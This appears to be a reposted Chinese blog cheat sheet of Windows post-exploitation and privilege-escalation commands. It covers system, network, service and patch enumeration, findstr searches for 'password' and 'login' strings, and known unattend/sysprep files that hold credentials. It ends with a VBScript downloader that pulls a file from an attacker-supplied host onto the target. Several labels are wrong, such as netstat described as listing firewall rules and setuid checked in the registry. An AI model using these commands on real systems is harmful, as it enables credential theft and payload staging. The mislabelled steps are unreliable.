您的位置:首页 > 其它

Windows内网渗透提权的几个实用命令

2016-11-22 22:49 465 查看
1.获取操作系统信息

查看所有环境变量:set

识别系统体系结构:echo %PROCESSOR_ARCHITECTURE% AMD64

识别操作系统名称及版本:systeminfo

查看某特定用户信息:net user

2.获取网络信息

查看路由表信息:route print

查看ARP缓存信息:arp -A

查看防火墙规则:netstat -ano

3.应用程序及服务信息

查看计划任务:schtasks /QUERY

查看服务进程ID:tasklist

查看安装驱动:DRIVERQUERY

查看安装程序和版本信息(漏洞利用线索):wmic product list brief

查看服务、进程和启动程序信息:wmic service list brief wmic process list brief wmic startup list brief

查看.msi程序的执行权限:reg query HKCU reg query HKLM

查看是否设置有setuid和setgid:reg query HKEY_Local_Machine

查看安装补丁和时间信息:wmic qfe get Caption,Description,HotFixID,InstalledOn

查看特定漏洞补丁信息:wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KBxxxxxxx"

4.敏感数据和目录

查找密码文件或其它敏感文件:findstr /si login *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt

这些文件通常包含base64模式的密码信息。这类文件在一些大型企业网络或GHO系统中可以发现,文件通常的位置如下:

C:\sysprep.inf C:\sysprep\sysprep.xml C:\Windows\Panther\Unattend\Unattended.xml C:\Windows\Panther\Unattended.xml

5.一个有用的文件上传脚本

' downloadfile.vbs

' Set your settings

strFileURL = "http://{YOUR_IP}/{FILE_NAME.EXT}"

strHDLocation = "c:\\{FILE_NAME.EXT}"

' Fetch the file

Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")

objXMLHTTP.open "GET", strFileURL, false

objXMLHTTP.send()

If objXMLHTTP.Status = 200 Then

Set objADOStream = CreateObject("ADODB.Stream")

objADOStream.Open

objADOStream.Type = 1 'adTypeBinary

objADOStream.Write objXMLHTTP.ResponseBody

objADOStream.Position = 0 'Set the stream position to the start

Set objFSO = Createobject("Scripting.FileSystemObject")

If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation

Set objFSO = Nothing

objADOStream.SaveToFile strHDLocation

objADOStream.Close

Set objADOStream = Nothing

End if

Set objXMLHTTP = Nothing


脚本下载地址:http://superuser.com/questions/59465/is-it-possible-to-download-using-the-windows-command-line/59489#59489

该脚本是一个社区发布的,你可以以下这种方式运行它:C:\Users\thel3l>cscript.exe downloadfile.vbs
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: